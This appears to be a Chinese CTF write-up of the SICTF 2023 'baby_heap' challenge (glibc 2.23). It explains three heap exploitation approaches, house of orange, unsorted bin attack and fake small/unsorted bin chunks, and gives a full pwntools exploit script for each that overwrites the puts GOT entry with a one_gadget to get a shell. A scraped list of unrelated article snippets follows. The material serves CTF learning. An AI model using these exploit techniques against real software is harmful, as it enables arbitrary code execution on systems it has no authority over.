2023SICTF ROUND2 baby_heap
附件:baby_heap
libc版本:glibc2.23
思路一:通过house of orange泄露libc地址,然后通过unsorted bin attack将main_arena+88地址写入到chunk_ptr(也就是申请出来的堆数组)中,这时候unsorted bin结构被破坏,修复也就是直接更改main_arena+88的fd(main_arena+88+0x10)和bk(main_arena+88+0x18)都为main_arena+88,然后将main_arena+88中的值修改为0x4040c0(chunk_size数组,这个题目每次只保存输入的size大小的最后一个字节),需要构造页对齐,也就是house of orange的其中一个条件,最后申请一个chunk,就会从伪造的topchunk也就是0x4040c0中分配,最终修改got中puts函数为one_gadget,从而getshell
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
from Crypto.Util.number import bytes_to_long
import os
# context.terminal = ['tmux','splitw','-h']
def ret2libc(leak, func, path=''):if path == '':libc = LibcSearcher(func, leak)base = leak - libc.dump(func)system = base + libc.dump('system')binsh = base + libc.dump('str_bin_sh')free = base + libc.dump('__free_hook')else:libc = ELF(path)base = leak - libc.sym[func]system = base + libc.sym['system']binsh = base + libc.search(b'/bin/sh').__next__()free = base + libc.sym['__free_hook']return (system,binsh,base)
s = lambda data :p.send(str(data))
s2 = lambda data :p.send((data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sa2 = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline((data))
sla = lambda delim,data :p.sendlineafter(delim, str(data))
sla2 = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,b'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))context.log_level = 'DEBUG'
context.os = 'linux'
context.arch = 'amd64'
binary = './baby_heap'
os.system("chmod +x "+binary)
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote("",) if argv[1]=='r' else process(binary)def dbg():if argv[1]=='r':returngdb.attach(p)pause()def itr():p.interactive()
_create,_edit,_show = 1,2,3
menu = "3.show\n>\n"
size_str = "Size :\n"
content_str= "Content :\n"
index_str = "Index :\n"
def create(size,content):sla(menu,_create)sla(size_str,size)sa2(content_str,content)def edit(index,size,content):sla(menu,_edit) sla(index_str,index)sla(size_str,size)sa2(content_str,content)def show(index):sla(menu,_show)sla(index_str,index)create(0xf30,b"a"*0x10)
create(0x17f,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0xf40,b"a"*0x10)# 构建size为0xf80
create(0x20f,b"a"*0x10)
edit(9,0x280,b"a"*0x218+p64(0xac1)) # house of orange
create(0x1000,b"a"*0x10)
create(0x78,b"a")
show(11)
base = uu64(r(8)) -3952993
leak("base", base)
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
shell = base + one_gadget[0]
main_arena_88 = base + 3951480
target = 0x4040c0
target2 = 0x404100# unsorted bin attack
payload = b"a"*0x78 + p64(0xed1) + p64(main_arena_88) + p64(target2 - 0x10)
edit(11,0xa0,payload)
create(0xec0,b"a")# 修复unsorted bin
edit(4,0x1000, p64(target)+p64(main_arena_88)*3)
# dbg()
create(0x220,b"a")
edit(13,0x50,p64(elf.got["puts"])*3)
edit(0,8,p64(shell))
# dbg()
itr()
参考链接:
黄鹤杯CTF | Ama2in9
思路二:是在调试过程中发现的,malloc的源码中有这一段
if (in_smallbin_range (nb)){idx = smallbin_index (nb);bin = bin_at (av, idx);if ((victim = last (bin)) != bin){if (victim == 0) /* initialization check */malloc_consolidate (av);else{bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){errstr = "malloc(): smallbin double linked list corrupted";goto errout;}set_inuse_bit_at_offset (victim, nb);bin->bk = bck;bck->fd = bin;if (av != &main_arena)victim->size |= NON_MAIN_ARENA;check_malloced_chunk (av, victim, nb);void *p = chunk2mem (victim);alloc_perturb (p, bytes);return p;}}}
就是在申请堆块的时候会先从small bin中找有没有空闲的堆块,其中的bin,是根据main_arena和上申请堆块大小在small bin中的索引得到的,其实也是main_arena+xx,所以可以修改伪造其中有堆块,需要满足victim->bk->fd==victim,所以在堆上伪造就行了,有点像unlink,但是比它简单,最后就是和思路一样了,前面的思路也一样
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
from Crypto.Util.number import bytes_to_long
import os
# context.terminal = ['tmux','splitw','-h']
def ret2libc(leak, func, path=''):if path == '':libc = LibcSearcher(func, leak)base = leak - libc.dump(func)system = base + libc.dump('system')binsh = base + libc.dump('str_bin_sh')free = base + libc.dump('__free_hook')else:libc = ELF(path)base = leak - libc.sym[func]system = base + libc.sym['system']binsh = base + libc.search(b'/bin/sh').__next__()free = base + libc.sym['__free_hook']return (system,binsh,base)
s = lambda data :p.send(str(data))
s2 = lambda data :p.send((data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sa2 = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline((data))
sla = lambda delim,data :p.sendlineafter(delim, str(data))
sla2 = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,b'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))context.log_level = 'DEBUG'
context.os = 'linux'
context.arch = 'amd64'
binary = './baby_heap'
os.system("chmod +x "+binary)
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote("",) if argv[1]=='r' else process(binary)def dbg():if argv[1]=='r':returngdb.attach(p)pause()def itr():p.interactive()
_create,_edit,_show = 1,2,3
menu = "3.show\n>\n"
size_str = "Size :\n"
content_str= "Content :\n"
index_str = "Index :\n"
def create(size,content):sla(menu,_create)sla(size_str,size)sa2(content_str,content)def edit(index,size,content):sla(menu,_edit) sla(index_str,index)sla(size_str,size)sa2(content_str,content)def show(index):sla(menu,_show)sla(index_str,index)create(0xf30,b"a"*0x10)
create(0x17f,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0xf40,b"a"*0x10)# 构建size为0xf80
create(0x20f,b"a"*0x10)
# victim->bk->fd==victim
edit(9,0x280,p64(0x404110)*4+b"a"*0x1f8+p64(0xac1)) # house of orange
create(0x1000,b"a"*0x10)
create(0x78,b"a")
show(11)
base = uu64(r(8)) -3952993
leak("base", base)
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
shell = base + one_gadget[0]
main_arena_88 = base + 3951480
target = 0x4040c0
target2 = 0x404100# unsorted bin attack
payload = b"a"*0x78 + p64(0xed1) + p64(main_arena_88) + p64(target2 - 0x10)
edit(11,0xa0,payload)
create(0xec0,b"a")# 修复unsorted bin 并且修改small bin
edit(4,0x1000, p64(main_arena_88)*4 + p64(target2+0x10)*66)
# dbg()
create(0x120,b"a")
edit(13,0x50,p64(elf.got["puts"])*3)
edit(8,8,p64(shell))
# dbg()
itr()
思路三:在unsorted bin中伪造一个fake chunk,需要满足的条件是
victim->size > av->system_mem
调试发现 av->system_mem是0x62000,需要构造size不能大于这个,并且bk指针是一个可写地址,这里就利用size数组和堆数组连着,将bk指针的地址伪造成堆数组的第一个,最后申请出来,然后再泄露libc,从而getshell
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
from Crypto.Util.number import bytes_to_long
import os
# context.terminal = ['tmux','splitw','-h']
def ret2libc(leak, func, path=''):if path == '':libc = LibcSearcher(func, leak)base = leak - libc.dump(func)system = base + libc.dump('system')binsh = base + libc.dump('str_bin_sh')free = base + libc.dump('__free_hook')else:libc = ELF(path)base = leak - libc.sym[func]system = base + libc.sym['system']binsh = base + libc.search(b'/bin/sh').__next__()free = base + libc.sym['__free_hook']return (system,binsh,base)
s = lambda data :p.send(str(data))
s2 = lambda data :p.send((data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sa2 = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline((data))
sla = lambda delim,data :p.sendlineafter(delim, str(data))
sla2 = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,b'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))context.log_level = 'DEBUG'
context.os = 'linux'
context.arch = 'amd64'
binary = './baby_heap'
os.system("chmod +x "+binary)
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote("",) if argv[1]=='r' else process(binary)def dbg():if argv[1]=='r':returngdb.attach(p)pause()def itr():p.interactive()
_create,_edit,_show = 1,2,3
menu = "3.show\n>\n"
size_str = "Size :\n"
content_str= "Content :\n"
index_str = "Index :\n"
def create(size,content):sla(menu,_create)sla(size_str,size)sa2(content_str,content)def edit(index,size,content):sla(menu,_edit) sla(index_str,index)sla(size_str,size)sa2(content_str,content)def show(index):sla(menu,_show)sla(index_str,index)for i in range(16):create(0x100,b"a")# 伪造size
create(0x110,b"a")
create(0x101,b"a")# house of orange
edit(17,0x1000,b"a"*0x108+p64(0xcd1))
create(0x1000,b"a")# unsorted bin attack
edit(17,0x1000,b"a"*0x108+p64(0x111) + p64(0x4040c8)*2)
create(0x100,b"a")
create(0x100,b"a")edit(20,0x1000,p64(elf.got["puts"])*2)
show(0)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
base = uu64(r(8)) - libc.sym["puts"]
leak("base",base)
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
shell = base + one_gadget[0]
edit(0,0x1000,p64(shell))
dbg()
itr()
参考链接:[SICTF 2023 #Round2] Crypto,PWN,Reverse_石氏是时试的博客-CSDN博客
其他思路:可以将上面的思路混合使用一下,还有当时在调试思路三的时候,申请比fake chunk小的chunk,会把chunk放入到对应的large bin中,当时这里要满足的条件跟思路三都一样了,所以感觉有点多此一举了,但是在这里提一嘴
相关文章:
2023SICTF ROUND2 baby_heap
附件:baby_heap libc版本:glibc2.23 思路一:通过house of orange泄露libc地址,然后通过unsorted bin attack将main_arena88地址写入到chunk_ptr(也就是申请出来的堆数组)中,这时候unsorted bi…...
buuctf crypto 【密码学的心声】解题记录
1.打开可以看到一个曲谱 2.看到曲谱中的提示埃塞克码可以想到ascii码,没有八可以联想到八进制,而八进制又对应着三位的二进制,然后写个脚本就好了 oct [111,114,157,166,145,123,145,143,165,162,151,164,171,126,145,162,171,115,165,143,…...
论文阅读 (100):Simple Black-box Adversarial Attacks (2019ICML)
文章目录 1 概述1.1 要点1.2 代码1.3 引用 2 背景2.1 目标与非目标攻击2.2 最小化损失2.3 白盒威胁模型2.4 黑盒威胁模型 3 简单黑盒攻击3.1 算法3.2 Cartesian基3.3 离散余弦基3.4 一般基3.5 学习率 ϵ \epsilon ϵ3.6 预算 1 概述 1.1 要点 题目:简单黑盒对抗攻…...
41 个下载免费 3D 模型的最佳网站
推荐:使用 NSDT场景编辑器 快速搭建3D应用场景 1. Pikbest Pikbest是一个设计资源平台,提供超过3万件创意艺术品。您可以在Pikbest上找到设计模板,演示幻灯片,视频和音乐等。您可以找到不同的3D模型,例如婚礼装饰&…...
SpringMVC之JSR303和拦截器
认识JSR303 JSR303是一项Java标准规范,也叫做Bean Validation规范,提供了一种JavaBean数据验证的规范方式。在SpringMVC中,可以通过引入JSR303相关的依赖,来实现数据的校验。 在使用JSR303进行校验时,需要在需要校验的…...
通过rabbitmq生成延时消息,并生成rabbitmq镜像
通过rabbitmq生成延时消息队列,并生成rabbitmq镜像 整体描述1. 使用场景2. 目前问题3. 前期准备 具体步骤1. 拉取镜像2. 运行镜像3. 安装插件4. 代码支持4.1 config文件4.2 消费监听4.2 消息生产 5. 功能测试 镜像操作1. 镜像制作2. 镜像导入 总结 整体描述 1. 使用…...
结构型模式-外观模式
隐藏系统的复杂性,并向客户端提供了一个客户端可以访问系统的接口。这种类型的设计模式属于结构型模式,它向现有的系统添加一个接口,来隐藏系统的复杂性。 这种模式涉及到一个单一的类,该类提供了客户端请求的简化方法和对现有系…...
vue三个点…运算符时报错 Syntax Error: Unexpected token
出现以下问题报错: 解决: 在项目根目录新建一个名为.babelrc的文件 {"presets": ["stage-2"] }...
C# wpf 实现桌面放大镜
文章目录 前言一、如何实现?1、制作无边框窗口2、Viewbox放大3、截屏显示(1)、截屏(2)、转BitmapSource(3)、显示 4、定时截屏 二、完整代码三、效果预览总结 前言 做桌面截屏功能时需要放大镜…...
Mybatis中的#{}和${}的区别
#{}和${}他们两都是替换参数的作用,但也还是有很大区别的。 目录 一、${} 二、#{} 三、注意点 一、${} 它是直接替换过来,不添加其它的什么。 比如下面的sql语句 select *from user where id${id} 如果id1,那么他替换过来就还是1ÿ…...
选择(使用)数据库
MySQL从小白到总裁完整教程目录:https://blog.csdn.net/weixin_67859959/article/details/129334507?spm1001.2014.3001.5502 语法格式: use 数据库名称;大家应该知道,在对数据库进行操作的时候,要制定数据库的操作对象,也就是说操作哪一个数据库 案列:选择testing数据库 …...
GFS分布式文件系统
1、GlusterFS简介 GlusterFS(GFS)是一个开源的分布式文件系统 由存储服务器、客户端以及NFS/Samba 存储网关(可选,根据需要选择使用)组成。MFS 传统的分布式文件系统大多通过元服务器来存储元数据,元数据…...
虚函数、纯虚函数、多态
一.虚函数 在基类的函数前加上virtual关键字,在派生类中重写该函数,运行时将会根据所指对象的实际类型来调用相应的函数,如果对象类型是派生类,就调用派生类的函数,如果对象类型是基类,就调用基类的函数。 …...
QGIS学习3 - 安装与管理插件
QGIS安装与管理插件主要是使用了菜单栏安装与管理插件这个菜单。 1、通过压缩文件等添加非官方插件 通过压缩文件添加有可能会提示存在安全问题等,直接点是即可。 之后点击install plugins即可完成。安装后导入插件 但是load失败了应该是安装没有成功。只能通过u…...
LeetCode377. 组合总和 Ⅳ
377. 组合总和 Ⅳ 文章目录 [377. 组合总和 Ⅳ](https://leetcode.cn/problems/combination-sum-iv/)一、题目二、题解方法一:完全背包一维数组动态规划思路代码分析 方法二:动态规划二维数组 一、题目 给你一个由 不同 整数组成的数组 nums ࿰…...
QT将数据写入文件,日志记录
项目场景: 在QT应用中,有时候需要将错误信息记录在log文件里面,或者需要将数据输出到文件中进行比对查看使用。 创建log文件,如果文件存在则不创建 QDir dir(QCoreApplication::applicationDirPath()"/recv_data");if(…...
vue2与vue3的使用区别与组件通信
1. 脚手架创建项目的区别: vue2: vue init webpack “项目名称”vue3: vue create “项目名称” 或者vue3一般与vite结合使用: npm create vitelatest yarn create vite2. template中结构 vue2: template下只有一个元素节点 <template><div><div…...
亚信科技与中国信通院达成全方位、跨领域战略合作
9月11日,亚信科技(中国)有限公司「简称:亚信科技」与中国信息通信研究院「简称:中国信通院」在京达成战略合作,双方将在关键技术研发、产业链协同等方面展开全方位、跨领域、跨行业深度合作,共促…...
华为Linux系统开发工程师面试
在Linux系统开发工程师的面试中,你可能会遇到以下一些问题: 在同一个网站中,当客户访问的时候,会出现有的页面访问的速度快而有的慢,系统和服务完全正常、网络带宽正常,你如何诊断这个问题?你以…...
Qt利用QTime实现sleep效果分时调用串口下发报文解决串口下发给下位机后产生的粘包问题
Qt利用QTime实现sleep效果分时调用串口下发报文解决串口下发给下位机后产生的粘包问题 文章目录 Qt利用QTime实现sleep效果分时调用串口下发报文解决串口下发给下位机后产生的粘包问题现象解决方法 现象 当有多包数据需要连续下发给下位机时,比如下载数据等&#x…...
人工智能:神经细胞模型到神经网络模型
人工智能领域中的重要流派之一是:从神经细胞模型(Neural Cell Model)到神经网络模型(Neural Network Model)。 一、神经细胞模型 第一个人工神经细胞模型是“MP”模型,它是由麦卡洛克、匹茨合作࿰…...
Redisson分布式锁实战
实战来源 此问题基于电商 这周遇见这么一个问题,简略的说一下 由MQ发布了两个消息,一个是订单新增,一个是订单状态变更 由于直接付款之后,这两个消息的发布时间不分先后,可能会造成两种情况,1、订单状态变更…...
JavaScript中循环遍历数组、跳出循环和继续循环
循环遍历数组 上个文章我们简单的介绍for循环,接下来,我们使用for循环去读取数据的数据,之前我们写过这样的一个数组,如下: const ITshareArray ["张三","二愣子","2033-1997","…...
Java——》Synchronized和Lock区别
推荐链接: 总结——》【Java】 总结——》【Mysql】 总结——》【Redis】 总结——》【Kafka】 总结——》【Spring】 总结——》【SpringBoot】 总结——》【MyBatis、MyBatis-Plus】 总结——》【Linux】 总结——》【MongoD…...
JDK20 + SpringBoot 3.1.0 + JdbcTemplate 使用
JDK20 SpringBoot 3.1.0 JdbcTemplate 使用 一.测试数据库 Postgres二.SpringBoot项目1.Pom 依赖2.配置文件3.启动类4.数据源配置类5.实体对象类包装类6.测试用实体对象1.基类2.扩展类 7.测试类 通过 JdbcTemplate 直接执行 SQL 语句,结合源码动态编译即可方便实现…...
CTFhub_SSRF靶场教程
CTFhub SSRF 题目 1. Bypass 1.1 URL Bypass 请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧 1.利用?绕过限制urlhttps://www.baidu.com?www.xxxx.me 2.利用绕过限制urlhttps://www.baidu.comwww.xxxx.me 3.利用斜…...
【华为OD机试】单词接龙【2023 B卷|100分】
【华为OD机试】-真题 !!点这里!! 【华为OD机试】真题考点分类 !!点这里 !! 题目描述: 单词接龙的规则是:可用于接龙的单词首字母必须要前一个单词的尾字母相同; 当存在多个首字母相同的单词时,取长度最长的单词,如果长度也相等, 则取字典序最小的单词;已经参与接龙…...
如何优雅的实现无侵入性参数校验之spring-boot-starter-validation
在开发过程中,参数校验是一个非常重要的环节。但是,传统的参数校验方法往往需要在代码中手动添加大量的 if-else 语句,这不仅繁琐,而且容易出错。为了解决这个问题,我们可以使用无侵入性参数校验的方式来简化代码并提高…...
企业架构LNMP学习笔记27
Keepalived的配置补充: 脑裂(裂脑):vip出现在了多台机器上。网络不通畅,禁用了数据包,主备服务器没法通讯,造成备服务器认为主服务器不可用,绑定VIP,主服务器VIP不会释放…...
品牌策划经理工作内容|工作职责|品牌策划经理做什么?
一位美国作家曾说过“品牌是一系列期望、记忆、故事和关系,他们共同构成了消费者最终原则一个产品或者服务的原因。” 所以,品牌经理这个岗位主要是创造感知价值主张,激发消费者购买这个品牌后带来的感知价值,这种回报的本质相对…...
做城市分类信息网站好做吗/优化网站搜索排名
对于一个给定的数列d1,d2,d3......dn,求相邻两个数的差,即d2-d1,d3-d2...得出一个新数列c1,c2,c3...cn, c(i)d(i)-d(i-1).这个新的数列c就是一个差分数组。 差分数组也有这么两个 性质: (1)通过计算可以得出,d1c1,d2f1f2d1(d2-d1),d3f1f2f…...
做网站ps分辨率给多少钱/指数是什么意思
/* 1. 按照以下要求设计一个学生类Student,并进行测试。要求如下: (1)Student类中包含姓名、成绩两个属性; (2)分别给这两个属性定义两个方法,一个方法用于设置值,另一个方法用于获取值; (3)Student类中…...
西部数码网站管理助手v4.0/株洲发布最新通告
堆的定义 其实堆也是树,但是必选满足以下两点: 堆是一棵完全二叉树 完全二叉树就是除了最后一层,其他层的节点个数都是满的,最后一层的节点都靠左排列。 堆中的每个节点值都必须大于等于(或小于等于)其子…...
长春鸿祥建设有限公司网站/广州seo招聘信息
您可能还喜欢 寻找网页设计灵感的27个最佳网站推荐最新30个漂亮的个人作品集网页设计案例分享35个非常漂亮的单页网站设计案例60佳灵感来自大自然的网页设计作品欣赏分享100佳精美的作品集网站设计案例这个系列将向大家分享汇集漂亮网站设计欣赏的200佳网站。网页设计师们可通过…...
当阳网站建设/百度账号一键登录
前言 Spring 也算有多年的历史了,已成为Java应用程序开发框架的事实标准。在如此悠久的历史背景下,有人可能会认为Spring放慢了脚步,躺在了自己的荣誉簿上,再也做不出什么新鲜的东西,或者是让人激动的东西。甚至有人说…...
做外贸批发的网站/b2b平台运营模式
双指针 867. 链表的中间结点 可以通过 快慢指针 来完成,快指针每次走两步,慢指针每次走一步,当快指针走到尽头,慢指针就到达了链表的中点。 重点在于临界条件的处理,快指针最后有两种状态: 指向链表的最后一个元素【链表元素为奇数个】 指向空 【链表元素为偶数个】 所…...